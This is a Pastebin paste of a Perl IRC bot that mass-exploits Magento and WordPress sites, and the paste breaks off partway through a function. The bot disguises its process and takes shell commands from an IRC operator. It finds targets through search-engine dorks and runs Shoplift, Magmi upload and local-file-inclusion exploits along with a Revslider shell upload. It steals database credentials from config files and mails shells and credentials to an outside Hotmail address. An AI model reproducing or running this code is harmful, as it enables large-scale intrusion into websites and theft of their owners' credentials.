Advertisement
ScanneD

Untitled

Sep 4th, 2016
3,129
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. #!/usr/bin/perl
  2. print('
  3.     ##################
  4.     # magento @2015  #
  5.     ##################
  6.     ');
  7. ###################################################################################################################
  8. use HTTP::Request;
  9. use HTTP::Request::Common;
  10. use HTTP::Request::Common qw(POST);
  11. use LWP::Simple;
  12. use LWP 5.64;
  13. use LWP::UserAgent;
  14. use Socket;
  15. use IO::Socket;
  16. use IO::Socket::INET;
  17. use IO::Select;
  18. ###################################################################################################################
  19. my @fake        = ("/usr/sbin/httpd","/usr/local/apache/bin/httpd -DSSL","/sbin/syslogd","[eth0]","/sbin/klogd -c 1 -x -x","/usr/sbin/acpid","/usr/sbin/cron","[httpds]","/usr/sbin/httpd","[bash]");
  20. my $fakeproc    = $fake[rand(scalar(@fake))];
  21. my $ircserver   = "irc.byroe.net";
  22. my $ircport     = "6667";
  23. my $nickname    = "[".int(rand(9))."]".int(rand(9))."[".int(rand(9))."]";
  24. my $ident       = "xxx00xxx";
  25. my $channel     = "#joomla";
  26. my $dbgchan     = "#joomla";
  27. my $admin       = "Kodox";
  28. my $fullname    = "xxx00xxx";
  29. my $to          = 'bebeknya.tuyul@hotmail.com';
  30. my $from        = 'bot@scan.irc';
  31. my $subject     = 'New Shell';
  32.  
  33. my $logo        = "9,1[4!9]"; # [!]
  34. my $magecmd     = "!magento";
  35. my $revcmd      = "!revslider";
  36. my $magemanual  = "&inject";
  37. my $lfimanual   = "&lfi";
  38. my $mag_plugins = "plugins.zip";
  39. my $mag_package = "magmi_0.7.21.zip";
  40. my @uagents     = ('Mozilla/5.0');
  41. my $uagent      = $uagents[rand(scalar(@uagents))];
  42. my $engine      = "GooGLe,GooGle2,WaLLa,AsK,AsK2,CLusTy,BiNg,BiNg2,bYpasS,UoL,SeZNam,HotBot,AoL,BigLobe,GpRoXy,LyCoS,WeB.De,cRaWLeR,dMoZ";
  43. # Google-Bypass
  44. my @bypasser  = ('http://www.napodpatky.cz//wp-content/plugins/mail.php');
  45. my $bypass    = $bypasser[rand(scalar(@bypasser))];
  46. my $poksai    = "http://blackhaircafe.com/includes/js/tabs/errors.php?____pgfa=";
  47. my $injectr   = "http://www.viajesortiz.es/wp-content/shop.php";
  48. my $inject0r = "http://www.winkleightimber.co.uk/errors/inject.php?site=";
  49. $SIG{'INT'}   = 'IGNORE';
  50. $SIG{'HUP'}   = 'IGNORE';
  51. $SIG{'TERM'}  = 'IGNORE';
  52. $SIG{'CHLD'}  = 'IGNORE';
  53. $SIG{'PS'}    = 'IGNORE';
  54.  
  55. $0 = "$fakeproc"."\0" x 16;
  56. my $pid = fork;
  57. exit if $pid;
  58. die "\n[!] ERROR [!]\n" unless defined($pid);
  59.  
  60. our %irc_servers;
  61. our %DCC;
  62. my $dcc_sel = new IO::Select->new();
  63. $sel_client = IO::Select->new();
  64. sub sendraw {
  65.     if ($#_ == '1') {
  66.         my $socket = $_[0];
  67.         print $socket "$_[1]\n";
  68.         } else {
  69.             print $IRC_cur_socket "$_[0]\n";
  70.         }
  71.     }
  72.     sub connector {
  73.         my $mynick = $_[0];
  74.         my $ircserver_con = $_[1];
  75.         my $ircport_con = $_[2];
  76.         my $IRC_socket = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>"$ircserver_con", PeerPort=>$ircport_con) or return(1);
  77.         if (defined($IRC_socket)) {
  78.             $IRC_cur_socket = $IRC_socket;
  79.             $IRC_socket->autoflush(1);
  80.             $sel_client->add($IRC_socket);
  81.             $irc_servers{$IRC_cur_socket}{'host'} = "$ircserver_con";
  82.             $irc_servers{$IRC_cur_socket}{'port'} = "$ircport_con";
  83.             $irc_servers{$IRC_cur_socket}{'nick'} = $mynick;
  84.             $irc_servers{$IRC_cur_socket}{'myip'} = $IRC_socket->sockhost;
  85.             nick("$mynick");
  86.             sendraw("USER $ident ".$IRC_socket->sockhost." $ircserver_con :$fullname");
  87.             sleep (1);
  88.         }
  89.     }
  90.     sub parse {
  91.         my $servarg = shift;
  92.         if ($servarg =~ /^PING \:(.*)/) {
  93.             sendraw("PONG :$1");
  94.         }
  95.         elsif ($servarg =~ /^\:(.+?)\!(.+?)\@(.+?)\s+NICK\s+\:(\S+)/i) {
  96.             if (lc($1) eq lc($mynick)) {
  97.                 $mynick = $4;
  98.                 $irc_servers{$IRC_cur_socket}{'nick'} = $mynick;
  99.             }
  100.         }
  101.         elsif ($servarg =~ m/^\:(.+?)\s+433/i) {
  102.             nick($mynick);
  103.         }
  104.         elsif ($servarg =~ m/^\:(.+?)\s+001\s+(\S+)\s/i) {
  105.             $mynick = $2;
  106.             $irc_servers{$IRC_cur_socket}{'nick'} = $mynick;
  107.             $irc_servers{$IRC_cur_socket}{'nome'} = "$1";
  108.             sendraw("MODE $mynick +Bxp");
  109.             sendraw("JOIN $channel");
  110.             sendraw("JOIN $dbgchan");
  111.             sleep(1);
  112.             sendraw("PRIVMSG $admin : Hi $admin im here !");
  113.         }
  114.     }
  115.     my $line_temp;
  116.     while( 1 ) {
  117.         while (!(keys(%irc_servers))) { &connector("$nickname", "$ircserver", "$ircport"); }
  118.         select(undef, undef, undef, 0.01);
  119.         delete($irc_servers{''}) if (defined($irc_servers{''}));
  120.         my @ready = $sel_client->can_read(0);
  121.         next unless(@ready);
  122.         foreach $fh (@ready) {
  123.             $IRC_cur_socket = $fh;
  124.             $mynick = $irc_servers{$IRC_cur_socket}{'nick'};
  125.             $nread = sysread($fh, $ircmsg, 4096);
  126.             if ($nread == 0) {
  127.                 $sel_client->remove($fh);
  128.                 $fh->close;
  129.                 delete($irc_servers{$fh});
  130.             }
  131.             @lines = split (/\n/, $ircmsg);
  132.             $ircmsg =~ s/\r\n$//;
  133.             if ($ircmsg =~ /^\:(.+?)\!(.+?)\@(.+?) PRIVMSG (.+?) \:(.+)/) {
  134.                 my ($nick,$ident,$host,$path,$msg) = ($1,$2,$3,$4,$5);
  135.                 if ($path eq $mynick) {
  136.                     if (&isAdmin($nick) && $msg eq "!die") {
  137.                         &shell("$path","kill -9 $$");
  138.                     }
  139.                     if (&isAdmin($nick) && $msg eq "!killall") {
  140.                         &shell("$path","pkill -9 perl");
  141.                     }
  142.                     if (&isAdmin($nick) && $msg eq "!reset") {
  143.                         sendraw("QUIT :Re-fresh!");
  144.                     }
  145.                     if (&isAdmin($nick) && $msg =~ /^!join \#(.+)/) {
  146.                         sendraw("JOIN #".$1);
  147.                     }
  148.                     if (&isAdmin($nick) && $msg =~ /^!part \#(.+)/) {
  149.                         sendraw("PART #".$1);
  150.                     }
  151.                     if (&isAdmin($nick) && $msg =~ /^!nick (.+)/) {
  152.                         sendraw("NICK ".$1);
  153.                     }
  154.                     if (&isAdmin($nick) && $msg =~ /^!pid/) {
  155.                         sendraw($IRC_cur_socket, "PRIVMSG $nick :$logo 14 Fake/PID :15 $fakeproc - $$");
  156.                     }
  157.                 }
  158.                 else {
  159.                     if (&isAdmin($nick) && $msg eq "!die") {
  160.                         &shell("$path","kill -9 $$");
  161.                     }
  162.                     if (&isAdmin($nick) && $msg eq "!killall") {
  163.                         &shell("$path","pkill -9 perl");
  164.                     }
  165.                     if (&isAdmin($nick) && $msg eq "!reset") {
  166.                         sendraw("QUIT :Re-fresh!");
  167.                     }
  168.                     if (&isAdmin($nick) && $msg =~ /^!join \#(.+)/) {
  169.                         sendraw("JOIN #".$1);
  170.                     }
  171.                     if (&isAdmin($nick) && $msg eq "!part") {
  172.                         sendraw("PART $path");
  173.                     }
  174.                     if (&isAdmin($nick) && $msg =~ /^!part \#(.+)/) {
  175.                         sendraw("PART #".$1);
  176.                     }
  177.                     if (&isAdmin($nick) && $msg =~ /^\.sh (.*)/) {
  178.                         &shell("$path","$1");
  179.                     }
  180.                     if (&isAdmin($nick) && $msg =~ /^!pid/) {
  181.                         &msg("$path","$logo14 Fake Process/PID :15 $fakeproc - $$ $logo");
  182.                     }
  183.                     if ($msg =~ /^$lfimanual\s+(.*)/) {
  184.                         my $trg = $1;
  185.                         my $mlfi = "http://".$trg."magmi/web/ajax_pluginconf.php?file=../../../../../../../../../../../../..//proc/self/environ&plugintype=utilities&pluginclass=CustomSQLUtility";
  186.                         &mage_lfi($mlfi);
  187.                         my $glfi = &get_content($mlfi);
  188.                         if(glfi =~ /HTTP_USER_AGENT/i){
  189.                             &msg("$admin","$logo14 Magento $logo9 ".$mlfi." ");
  190.                         }
  191.                         my $cek = &get_content("http://".$trg."image.php");
  192.                         if($cek =~ /MrShahab/){
  193.                             &msg("$chan","$logo14 Magento $logo9 ".$trg." [OK]LFI Sukses");
  194.                             &msg("$admin","$logo14 Magento $logo9 ".$trg."image.php");
  195.                             my $box = "[+]Site: http://".$trg."/image.php\n";
  196.                             &mailer($box);
  197.                         }
  198.                     }
  199.                     if ($msg =~ /^$magemanual\s+(.*)/) {
  200.                         my $tg = $1;
  201.                         if($tg !~ /http:/){ $tg = "htpp://".$1.""}
  202.                         my $tgx = $tg."/magmi/web/plugin_upload.php";
  203.                         &msg("$path","$logo14 Exploiting -> 15 $tgx $logo");
  204.                         &mage1_query($tgx); sleep(1);
  205.                         my $chk = &get_content($tg."/magmi/plugins/plugins.php");
  206.                         if ($chk =~ /MrShahab/) {                  
  207.                             &msg("$path","$logo14 Magento $logo9 ".$tg." [Plugins Uploaded] ");
  208.                             &msg("$admin","$logo14 Magento $logo9 ".$tg."/magmi/plugins/plugins.php ");      
  209.                             } else {
  210.                                 &msg("$path","$logo14 Magento $logo4 ".$tg." [Plugins Failed]");
  211.                                 my $tgz = $tg."/magmi/web/magmi_upload.php";
  212.                                 &mage2_query($tgz); sleep(1);
  213.                                 my $chx = &get_content($tg."/magmi/web/plugins.php");
  214.                                 if ($chk =~ /MrShahab/){
  215.                                     &msg("$path","$logo14 Magento $logo9 ".$tg." [Package Uploaded] ");
  216.                                     &msg("$admin","$logo14 Magento $logo9 ".$tg."/magmi/plugins/plugins.php ");
  217.                                     } else { &msg("$path","$logo14 Magento $logo4 ".$tg." [Package Failed]"); }
  218.                                 }
  219.                             }
  220.                 ##################################################################### HELP COMMAND
  221.  
  222.                 if ($msg =~ /^!help/) {
  223.                     my $helplogo = "$logo 4Help $logo";
  224.                     &msg("$path","$helplogo 14,1 ######################################### $logo");
  225.                     &msg("$path","$helplogo 14,1 #15 [ Magmi-RFI ] $magecmd [dork] ");
  226.                     &msg("$path","$helplogo 14,1 ######################################### $logo");
  227.                 }
  228.  
  229.                 ##################################################################### Mage
  230.  
  231.                 if ($msg =~ /^$magecmd\s+(.*)/) {
  232.                     if (my $pid = fork) {
  233.                         waitpid($pid, 0);
  234.                     }
  235.                     else {
  236.                         if (fork) { exit; } else {
  237.                             my ($bug,$dork) = ("magmi/web/magmi.php",$1);
  238.                             &msg("$path","$logo14 [Magento] d0Rk :15 $dork $logo");
  239.                             &msg("$path","$logo14 [Magento] BugZ :15 $bug $logo");
  240.                             &msg("$path","$logo15 Search Engine Loading $logo");
  241.                             &scan_start($path,$bug,$dork,$engine,1);
  242.                         }
  243.                         exit;
  244.                     }
  245.                 } elsif($msg =~ /^$revcmd\s+(.*)/) {
  246.                     if (my $pid = fork) {
  247.                         waitpid($pid, 0);
  248.                     } else {
  249.                         if(fork) { exit; } else {
  250.                             my($bug,$dork) = ("wp-admin/admin-ajax.php",$1);
  251.                             &msg("$path","$logo14 [Revslider] d0Rk :15 $dork $logo");
  252.                             &msg("$path","$logo14 [Revslider] BugZ :15 $bug $logo");
  253.                             &msg("$path","$logo15 Search Engine Loading $logo");
  254.                             &scan_start($path,$bug,$dork,$engine,2);
  255.                         }
  256.                     }
  257.                 }
  258.             }
  259.         }
  260.         for(my $c=0; $c<= $#lines; $c++) {
  261.             $line = $lines[$c];
  262.             $line = $line_temp.$line if ($line_temp);
  263.             $line_temp = '';
  264.             $line =~ s/\r$//;
  265.             unless ($c == $#lines) {
  266.                 &parse("$line");
  267.                 } else {
  268.                     if ($#lines == 0) {
  269.                         &parse("$line");
  270.                         } elsif ($lines[$c] =~ /\r$/) {
  271.                             &parse("$line");
  272.                             } elsif ($line =~ /^(\S+) NOTICE AUTH :\*\*\*/) {
  273.                                 &parse("$line");
  274.                                 } else {
  275.                                     $line_temp = $line;
  276.                                 }
  277.                             }
  278.                         }
  279.                     }
  280.                 }
  281.  
  282. #########################################
  283. sub scan_start() {
  284.     my ($chan,$bug,$dork,$engine,$type) = @_;
  285.     if ($engine =~ /google/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLe",$type); } exit; } }
  286.     if ($engine =~ /google2/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGle2",$type); } exit; } }
  287.     if ($engine =~ /walla/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"WaLLa",$type); } exit; } }
  288.     if ($engine =~ /ask/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"AsK",$type); } exit; } }
  289.     if ($engine =~ /ask2/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"AsK2",$type); } exit; } }
  290.     if ($engine =~ /clusty/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"CLusTy",$type); } exit; } }
  291.     if ($engine =~ /bing/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"BiNg",$type); } exit; } }
  292.     if ($engine =~ /bing2/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"BiNg2",$type); } exit; } }
  293.     if ($engine =~ /bypass/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"bYpasS",$type); } exit; } }
  294.     if ($engine =~ /uol/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"UoL",$type); } exit; } }
  295.     if ($engine =~ /seznam/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"SeZNam",$type); } exit; } }
  296.     if ($engine =~ /hotbot/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"HotBot",$type); } exit; } }
  297.     if ($engine =~ /aol/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"AoL",$type); } exit; } }
  298.     if ($engine =~ /biglobe/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"BigLobe",$type); } exit; } }
  299.     if ($engine =~ /gproxy/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GpRoXy",$type); } exit; } }
  300.     if ($engine =~ /lycos/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"LyCoS",$type); } exit; } }
  301.     if ($engine =~ /webde/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"WeB.De",$type); } exit; } }
  302.     if ($engine =~ /crawler/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"cRaWLeR",$type); } exit; } }
  303.     if ($engine =~ /dmoz/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"dMoZ",$type); } exit; } }
  304. }
  305. sub type () {
  306.     my ($chan,$bug,$dork,$engine,$type) = @_;
  307.     if ($type == 1){$type=&magmi($chan,$bug,$dork,$engine);}
  308.     if ($type == 2){$type=&revsl($chan,$bug,$dork,$engine);}
  309. }
  310. ######################################### EXPLOITING
  311. sub magmi() {
  312.     my $chan = $_[0];
  313.     my $bug = $_[1];
  314.     my $dork = $_[2];
  315.     my $engine = $_[3];
  316.     my $count = 0;
  317.     my @list = &search_engine($chan,$bug,$dork,$engine,$logo);
  318.     my $num = scalar(@list);
  319.     if ($num > 0){
  320.         foreach my $site(@list){
  321.             $count++;
  322.             if ($count == $num-1) { my @list = (); &msg("$chan","$logo14 Magento $logo15 FinizZ!14 $engine : $dork "); }
  323.             &msg("$dbgchan","$logo14 [$count/$num] $engine $logo15 $site");
  324.            
  325.             # Cek Shoplift #
  326.             my $shp = "http://www.winkleightimber.co.uk/errors/inject.php?target=http://".$site;
  327.             my $lift = &get_content($shp);
  328.             if($lift =~ /"Success"/){
  329.                 #&msg("$chan","$logo14 Magento $logo15 ".$shp." 9[ShopLift] ");
  330.                 my $lift = &shoplift($site);
  331.                 if($lift =~ m/@(.*) - (.*)/g){
  332.                     &msg("$chan","$logo14 Magento $logo9[ShopLift]15 http://".$site."admin ");
  333.                     $lift1 = &get_content($inject0r.$site."admin");
  334.                     if($lift1 =~ /Sukses Login/){
  335.                         &msg("$admin","$logo14 Magento $logo9[ShopLift]15 http://".$site."admin - Sukses Login");
  336.                     }
  337.                     } else { &msg("$chan","$logo14 Magento $logo15 @".$site." - Cek Injector Manual ! ");}
  338.                 }
  339.             #else {
  340.             #   &msg("$dbgchan","$logo14 Magento $logo15 ".$shp." 4[".$lift."] ");
  341.             #}
  342.            
  343.             # Cek DB Login #
  344.             my $serverIP; my $dbname; my $user; my $pass; my $prefix; my $pgadmin; my $out;
  345.             my $xmlfile = "http://".$site."app/etc/local.xml";
  346.             my $leakxml = &get_content($xmlfile);
  347.             sleep(1);
  348.             if ($leakxml =~ /<connection>/ )
  349.             {
  350.                 my $pma = &get_content("http://".$site."phpmyadmin");
  351.                 &msg("$chan","$logo14 Magento $logo15 ".$xmlfile." 9[DBLeaked] ");
  352.                 # /<key><!\[\CDATA\[(.*)\]\]\><\/key>/
  353.                 if ($leakxml =~ m/<table_prefix><!\[\CDATA\[(.*)\]\]\><\/table_prefix>/g){$prefix = $1;}
  354.                 if ($leakxml =~ m/<host><!\[\CDATA\[(.*)\]\]\><\/host>/g) {$serverIP = $1;}
  355.                 if ($leakxml =~ m/<username><!\[\CDATA\[(.*)\]\]\><\/username>/g){$user = $1;}
  356.                 if ($leakxml =~ m/<password><!\[\CDATA\[(.*)\]\]\><\/password>/g){$pass = $1;}
  357.                 if ($leakxml =~ m/<dbname><!\[\CDATA\[(.*)\]\]\><\/dbname>/g){$dbname = $1;}
  358.                 if ($leakxml =~ m/<frontName><!\[\CDATA\[(.*)\]\]\><\/frontName>/g){$pgadmin = $1;}
  359.                 $out = "[+]Host: $serverIP\n[+]User: $user\n[+]Pass: $pass\n[+]Prefix: $prefix\n[+]DBName: $dbname\n[+]PageAdmin: $pgadmin";
  360.                 &msg("$admin","$logo14 ======================================================== $logo ");
  361.                 &msg("$admin","$logo14 Magento $logo 14[+]DBSite:15 http://".$site." ");          
  362.                 &msg("$admin","$logo14 Magento $logo 14[+]Host:15 ".$serverIP." ");          
  363.                 &msg("$admin","$logo14 Magento $logo 14[+]User:15 ".$user." ");          
  364.                 &msg("$admin","$logo14 Magento $logo 14[+]Pass:15 ".$pass." ");
  365.                 &msg("$admin","$logo14 Magento $logo 14[+]Prefix:15 ".$prefix." ");
  366.                 &msg("$admin","$logo14 Magento $logo 14[+]DBName:15 ".$dbname." ");          
  367.                 &msg("$admin","$logo14 Magento $logo 14[+]PageAdmin:15 ".$pgadmin." ");
  368.                 if ($pma =~ /phpMyAdmin/){
  369.                         &msg("$admin","$logo14 Magento $logo 14[+]PhpMyAdmin:15 ".$site."phpmyadmin ");
  370.                     } else{
  371.                         &msg("$admin","$logo14 Magento $logo 14[+]PhpMyadmin:15 Not Found");
  372.                     }    
  373.  
  374.             }
  375.             else {
  376.                 my $inifile = "http://".$site."magmi/conf/magmi.ini";
  377.                 my $leakini = &get_content($inifile);
  378.                 sleep(1);
  379.                 if ($leakini =~ /connectivity =/ )
  380.                 {
  381.                     my $pma = &get_content("http://".$site."phpmyadmin");
  382.                     &msg("$chan","$logo14 Magento $logo15 ".$inifile." 9[DBLeaked] ");
  383.                     if ($leakini =~ m/host = \"(.*)\"/g) {$serverIP = $1;}
  384.                     if ($leakini =~ m/dbname = \"(.*)\"/g){$dbname = $1;}
  385.                     if ($leakini =~ m/user = \"(.*)\"/g){$user = $1;}
  386.                     if ($leakini =~ m/password = \"(.*)\"/g){$pass = $1;}
  387.                     if ($leakini =~ m/table_prefix = \"(.*)\"/g){$prefix = $1;}
  388.                     $out = "[+]Host: $serverIP\n[+]User: $user\n[+]Pass: $pass\n[+]Prefix: $prefix\n[+]DBName: $dbname";
  389.                     &msg("$admin","$logo14 ======================================================== $logo ");
  390.                     &msg("$admin","$logo14 Magento $logo 14[+]DBSite:15 http://".$site." ");          
  391.                     &msg("$admin","$logo14 Magento $logo 14[+]Host:15 ".$serverIP." ");          
  392.                     &msg("$admin","$logo14 Magento $logo 14[+]User:15 ".$user." ");          
  393.                     &msg("$admin","$logo14 Magento $logo 14[+]Pass:15 ".$pass." ");
  394.                     &msg("$admin","$logo14 Magento $logo 14[+]Prefix:15 ".$prefix." ");
  395.                     &msg("$admin","$logo14 Magento $logo 14[+]DBName:15 ".$dbname." ");
  396.                     if ($pma =~ /phpMyAdmin/){
  397.                         &msg("$admin","$logo14 Magento $logo 14[+]PhpMyAdmin:15 ".$site."phpmyadmin ");
  398.                     } else{
  399.                         &msg("$admin","$logo14 Magento $logo 14[+]PhpMyadmin:15 Not Found");
  400.                     }                    
  401.                 }
  402.             }
  403.            
  404.             # Cek Magmi #
  405.             my $crot  = "http://".$site.$bug;
  406.             my $crotx = "http://".$site."magmi/web/plugin_upload.php";
  407.             my $vuln = &get_content($crot);
  408.             if ($vuln =~ /v0.7.1/) {
  409.                 &mage1_query($crotx); sleep(1);
  410.                 my $check = &get_content("http://".$site."magmi/plugins/plugins.php");
  411.                 if ($check =~ /MrShahab/) {                
  412.                     &msg("$chan","$logo14 Magento $logo9 ".$site." [OK]Plugins Upload ");
  413.                     &msg("$admin","$logo14 Magento $logo9 ".$site."magmi/plugins/plugins.php ");
  414.                     my $box = "[+]Site: http://".$site."/magmi/plugins/plugins.php\n".$out."";
  415.                     &mailer($box);                 
  416.                 }
  417.                 else {
  418.                     &msg("$chan","$logo14 Magento $logo15 ".$crot." 4[Plugins Failed]");
  419.                     my $crotz = "http://".$site."magmi/web/magmi_upload.php";              
  420.                     &mage2_query($crotz); sleep(1);
  421.                     my $chex = &get_content("http://".$site."magmi/web/image.php");
  422.                     if ($chex =~ /MrShahab/) {                 
  423.                         &msg("$chan","$logo14 Magento $logo9 ".$site." [OK]Package Upload ");
  424.                         &msg("$admin","$logo14 Magento $logo9 ".$site."magmi/web/image.php ");
  425.                         my $box = "[+]Site: http://".$site."/magmi/web/plugins.php\n".$out."";
  426.                         &mailer($box);
  427.                     }
  428.                     else {
  429.                         &msg("$chan","$logo14 Magento $logo15 ".$crot." 4[Package Failed]");
  430.                         my $mlfi = "http://".$site."magmi/web/ajax_pluginconf.php?file=../../../../../../../../../../../../..//proc/self/environ&plugintype=utilities&pluginclass=CustomSQLUtility";
  431.                         &mage_lfi($mlfi);
  432.                         my $glfi = &get_content($mlfi);
  433.                         if(glfi =~ /HTTP_USER_AGENT/i){
  434.                             &msg("$admin","$logo14 Magento $logo9 ".$mlfi." ");
  435.                         }
  436.                         my $cek = &get_content("http://".$site."image.php");
  437.                         if($cek =~ /MrShahab/){
  438.                             &msg("$chan","$logo14 Magento $logo9 ".$site." [OK]LFI Sukses");
  439.                             &msg("$admin","$logo14 Magento $logo9 ".$site."magmi/web/image.php");
  440.                             my $box = "[+]Site: http://".$site."/image.php\n".$out."";
  441.                             &mailer($box);
  442.                         }
  443.                     }
  444.                 }
  445.             }
  446.         }
  447.     }
  448. }
  449. sub revsl() {
  450.     my $chan = $_[0];
  451.     my $bug = $_[1];
  452.     my $dork = $_[2];
  453.     my $engine = $_[3];
  454.     my $count = 0;
  455.     my @list = &search_engine($chan,$bug,$dork,$engine,$logo);
  456.     my $num = scalar(@list);
  457.     if ($num > 0){
  458.         foreach my $site(@list){
  459.             $count++;
  460.             if ($count == $num-1) { my @list = (); &msg("$chan","$logo14 Revslider $logo15 FinizZ!14 $engine : $dork "); }
  461.             &msg("$dbgchan","$logo14 [$count/$num] $engine $logo15 $site");
  462.            
  463.             #Revslider Shell#
  464.             my $revs = revinject($site);
  465.             if($revs =~ /Sukses Bos/i){$path=$1;}
  466.             my $shell = "http://".$site.$path;
  467.             my $jos = &get_content($shell);
  468.             my $lel = $shell."?x=kernel";
  469.             my $lol = &get_content($lel);
  470.             if($jos =~ /MrShahab/i){
  471.                 &get_content($shell."?x=clone");
  472.                 &get_content($shell."?x=revpatch");
  473.                 &msg("$chan","$logo14 Revslider $logo9 ".$site." 9[Shell Uploaded]")
  474.                 &msg("$admin","$logo14 Revslider $logo9 ".$site."wp-admin/xx.php (".$lol.")");
  475.                 &msg("$admin","$logo14 Revslider $logo9 ".$shell."(".$lol.")");
  476.                 my $box = "[+]Site: http://".$shell."\nKernel : ".$lol;
  477.                 &mailer($box);
  478.             }
  479.             ##################DB Inject#########################
  480.             my $serverIP; my $dbname; my $user; my $pass; my $out;
  481.             my $bugdb = "http://".$site.$bug."?action=revslider_show_image&img=../wp-config.php";
  482.             my $getdb = &get_content($bugdb);
  483.             if($getdb =~ /DB_NAME/i){
  484.                 if ($html =~ /\DB_NAME\', '(.*)'\);/) {$dbname=$1;}
  485.                 if ($html =~ /\DB_USER\', '(.*)'\);/) {$user=$1;}
  486.                 if ($html =~ /\DB_PASSWORD\', '(.*)'\);/) {$pass=$1;}
  487.                 if ($html =~ /\DB_HOST\', '(.*)'\);/) {$serverIP=$1;}
  488.                 my $pma = &get_content("http://".$site."phpmyadmin");
  489.                 &msg("$admin","$logo14 Revslider $logo 14 http://".$bugdb." [DB Leaked] ");
  490.                 &msg("$admin","$logo14 Revslider $logo 14[+]DBSite:15 http://".$site." ");          
  491.                 &msg("$admin","$logo14 Revslider $logo 14[+]Host:15 ".$serverIP." ");          
  492.                 &msg("$admin","$logo14 Revslider $logo 14[+]User:15 ".$user." ");          
  493.                 &msg("$admin","$logo14 Revslider $logo 14[+]Pass:15 ".$pass." ");
  494.                 if($pma =~ /PhpMyAdmin/){
  495.                     &msg("$admin","$logo14 Revslider $logo 14[+]PhpMyadmin:15 ".$site."phpmyadmin ");
  496.                     } else {
  497.                         &msg("$admin","$logo14 Revslider $logo 14[+]PhpMyadmin:15 Not Found");
  498.                     }
  499.                 }
  500.             }
  501.         }
  502.     }
  503. #########################################
  504. sub search_engine() {
  505.     my (@total,@clean);
  506.     my $chan = $_[0];
  507.     my $bug = $_[1];
  508.     my $dork = $_[2];
  509.     my $engine = $_[3];
  510.     my $logo = $_[4];
  511.     if ($engine eq "GooGLe") { my @google = &google($dork); push(@total,@google); }
  512.     if ($engine eq "GooGle2") { my @google2 = &google2($dork); push(@total,@google2); }
  513.     if ($engine eq "WaLLa") { my @walla = &walla($dork); push(@total,@walla); }
  514.     if ($engine eq "AsK") { my @ask = &ask($dork); push(@total,@ask); }
  515.     if ($engine eq "AsK2") { my @ask2 = &ask2($dork); push(@total,@ask2); }
  516.     if ($engine eq "CLusTy") { my @clusty = &clusty($dork); push(@total,@clusty); }
  517.     if ($engine eq "BiNg") { my @bing = &bing($dork); push(@total,@bing); }
  518.     if ($engine eq "BiNg2") { my @bing2 = &bing2($dork); push(@total,@bing2); }
  519.     if ($engine eq "bYpasS") { my @bypass = &bypass($dork); push(@total,@bypass); }
  520.     if ($engine eq "UoL") { my @uol = &uol($dork); push(@total,@uol); }
  521.     if ($engine eq "SeZNam") { my @seznam = &seznam($dork); push(@total,@seznam); }
  522.     if ($engine eq "HotBot") { my @hotbot = &hotbot($dork); push(@total,@hotbot); }
  523.     if ($engine eq "AoL") { my @aol = &aol($dork); push(@total,@aol); }
  524.     if ($engine eq "BigLobe") { my @biglobe = &biglobe($dork); push(@total,@biglobe); }
  525.     if ($engine eq "GpRoXy") { my @gproxy = &gproxy($dork); push(@total,@gproxy); }
  526.     if ($engine eq "LyCoS") { my @lycos = &lycos($dork); push(@total,@lycos); }
  527.     if ($engine eq "WeB.De") { my @webde = &webde($dork); push(@total,@webde); }
  528.     if ($engine eq "cRaWLeR") { my @crawler = &crawler($dork); push(@total,@crawler); }
  529.     if ($engine eq "dMoZ") { my @dmoz = &dmoz($dork); push(@total,@dmoz); }
  530.     @clean = &clean(@total);
  531.     my $clr = scalar(@clean);
  532.     if($clr > 0){
  533.         &msg("$chan","$logo14 Magento $logo15 $engine $logo14 Total:15 [".scalar(@total)."]14 Clean:15 [".scalar(@clean)."] ");
  534.     }
  535.     return @clean;
  536. }
  537.  
  538. #########################################
  539. sub mailer() {
  540.     my $isi = $_[0];
  541.     open(mailer, "|/usr/sbin/sendmail -t");
  542.     print mailer "To: $to\nFrom: $from\nSubject: $subject\n\n$isi";
  543.     close(mailer);
  544. }
  545. sub shoplift() {
  546.     my $url = $_[0];
  547.     my $ua = LWP::UserAgent->new(ssl_opts => { verify_hostname => 0 });
  548.     $ua->timeout(120);
  549.     $ua->agent($uagent);
  550.     my $req = HTTP::Request->new(POST => $injectr);
  551.     $req->content_type('application/x-www-form-urlencoded');
  552.     $req->content('target='.$url.'&prefix=&exploit=Exploit');
  553.     my $res = $ua->request($req);
  554.     if ($res->is_success) { return $res->decoded_content; }
  555.     else { return $res->status_line; }
  556. }
  557. sub get_content() {
  558.     my $url = $_[0];
